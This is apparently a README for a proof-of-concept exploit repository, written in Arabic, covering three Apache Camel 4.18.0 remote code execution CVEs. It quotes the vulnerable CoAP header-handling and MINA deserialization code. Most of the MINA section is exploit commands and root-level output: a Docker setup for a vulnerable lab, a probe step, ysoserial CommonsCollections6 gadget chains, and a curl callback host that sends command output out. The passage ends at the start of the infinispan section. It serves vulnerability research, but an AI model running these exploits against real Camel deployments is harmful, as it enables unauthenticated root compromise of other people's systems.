
يوفر استغلالات إثبات المفهوم العاملة وتحليلاً مفصلاً لثلاث ثغرات حرجة في Apache Camel، بما في ذلك حقن رؤوس CoAP وإلغاء التسلسل غير الآمن الذي يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد.
ثلاث ثغرات حرجة في Apache Camel 4.18.0، تم اكتشافها والتحقق منها بشكل مستقل مع استغلالات (PoC) عاملة.
| CVE | المكوّن | النوع | CVSS | الحكم |
|---|---|---|---|---|
| CVE-2026-33453 | camel-coap | حقن في الترويسات → تنفيذ كود عن بُعد | 10.0 حرجة | قابل للاستغلال |
| CVE-2026-40473 | camel-mina | إلغاء تسلسل غير آمن → تنفيذ كود عن بُعد | 9.8 حرجة | قابل للاستغلال |
| CVE-2026-40858 | camel-infinispan | إلغاء تسلسل غير آمن | 8.8 عالية | قابل للاستغلال |
المكوّن: camel-coap — CamelCoapResource.java:103-109
CWE: CWE-915 (تحكم غير سليم في تعديل سمات الكائنات)
تم الإصلاح في: Camel 4.18.1 / 4.14.6
يقوم CamelCoapResource.handleRequest() بتعيين معاملات استعلام URI الخاصة بـ CoAP مباشرةً في ترويسات Camel Exchange عبر setHeader() دون أي HeaderFilterStrategy. يمتد CoAPEndpoint من DefaultEndpoint بدلاً من DefaultHeaderFilterStrategyEndpoint، لذا يمكن لأي عميل غير مصادق حقن الترويسات الداخلية ذات البادئة Camel*.
عندما يتم توجيه المسار إلى camel-exec، تقوم الترويسات CamelExecCommandExecutable و CamelExecCommandArgs التي يتحكم فيها المهاجم بتجاوز الأمر المُهيأ، مما يحقق تنفيذ كود عن بُعد قبل المصادقة عبر حزمة UDP واحدة.
// CamelCoapResource.java:103-109 — لا يوجد HeaderFilterStrategy
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Response: 2.05
[+] Command output: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Command output: app bin boot dev etc home lib ...
المكوّن: camel-mina — MinaConverter.java:60-63
CWE: CWE-502 (إلغاء تسلسل بيانات غير موثوقة)
تم الإصلاح في: Camel 4.18.2 / 4.14.6 / 4.20.0
يقوم MinaConverter.toObjectInput(IoBuffer) بإنشاء java.io.ObjectInputStream خام بدون ObjectInputFilter. عندما يتم تكوين نقطة نهاية MINA مع allowDefaultCodec=false، تصل بيانات TCP الخام كـ IoBuffer وتصل إلى محول أنواع Camel، الذي يستدعي هذه الطريقة — ملفوفًا بايتات الشبكة التي يتحكم فيها المهاجم في ObjectInputStream غير مُصفى.
// MinaConverter.java:60-63 — لا يوجد ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // بايتات يتحكم فيها المهاجم، بدون FILTER
}
مسار الهجوم: يستهدف الاستغلال نقطة نهاية MINA عبر TCP مع allowDefaultCodec=false (المنفذ 9879 في PoC). هذا يتجاوز طبقة الترميز في MINA بالكامل — حيث أن ObjectSerializationCodecFactory لديه قائمة سماح ClassNameMatcher خاصة به كانت ستحظر الفئات العشوائية. مع تعطيل الترميز، تتدفق البايتات الخام مباشرةً إلى MinaConverter.toObjectInput() التي تنشئ ObjectInputStream قياسيًا بدون أي تصفية للفئات.
سلسلة أدوات CommonsCollections6 (عبر ysoserial) تحقق تنفيذ أوامر عشوائية بصلاحيات الجذر. يتم إرسال مخرجات الأوامر عبر استدعاء curl إلى المهاجم.

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Command output:
uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMED: CVE-2026-40473 RCE — command executed via deserialization
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Command output:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar (أداة CommonsCollections6)cd poc/
docker compose up -d --build
انتظر حتى يبدأ الحاوية، ثم تحقق:
docker logs vuln-camel-mina
يجب أن ترى:

[*] Vulnerable MINA server started
[*] Port 9877: transferExchange (Java deser) endpoint
[*] Port 9878: Object serialization codec endpoint
[*] Port 9879: Raw TCP (MinaConverter.toObjectInput) endpoint
[*] Waiting for connections...
المنفذ 9879 هو الهدف — يستخدم allowDefaultCodec=false، مما يعطل مرشح الترميز في MINA ويسمح لـ IoBuffer الخام بالوصول إلى MinaConverter.toObjectInput() غير المُصفى في Camel.
أولاً، تحقق من أن نقطة النهاية تقبل وتلغي تسلسل كائنات Java عشوائية بدون ObjectInputFilter:
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] Probe mode — confirming deserialization (no RCE)
[*] Payload: HashMap (82 bytes, raw — no MINA frame)
[+] Connected to MINA endpoint
[+] Payload sent
[+] Data reached readObject() with no filter rejection
يرسل الفحص HashMap متسلسلًا. يقوم الخادم بإلغاء تسلسله عبر ObjectInputStream.readObject() بدون InvalidClassException — مما يؤكد عدم وجود تصفية للفئات.
مع توفر ysoserial، استغل إلغاء التسلسل غير المُصفى لتنفيذ أوامر عشوائية:
# Execute 'id' — returns uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# Read files
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# System info
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
يقوم الاستغلال بإنشاء سلسلة أدوات CommonsCollections6، ويرسلها كبايتات خام إلى المنفذ 9879، ويلتقط مخرجات الأوامر عبر مستمع استدعاء curl.
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
target [port] [command]
target Target IP/hostname
port MINA TCP port (default: 9879)
command Command to execute (default: id)
--ysoserial Path to ysoserial.jar (auto-detected if not set)
--callback-host Host the container uses to reach you (default: host.docker.internal)
--gadget ysoserial gadget chain (default: auto — tries CC6, CC5, CC1)
--probe Probe mode only — confirm deserialization without RCE
--raw Send raw payload without MINA 4-byte frame (auto-enabled for port 9879)
ملاحظة: القيمة الافتراضية لـ --callback-host هي host.docker.internal (Docker Desktop). إذا كنت تعمل على Linux بدون Docker Desktop، استخدم --callback-host 172.17.0.1 أو عنوان جسر Docker الخاص بك.
cd poc/
docker compose down
المكوّن: camel-infinispan — DefaultExchangeHolderUtils.java:46-53
CWE: CWE-502 (إلغاء تسلسل بيانات غير موثوقة)
تم الإصلاح في: Camel 4.18.2 / 4.14.7 / 4.20.0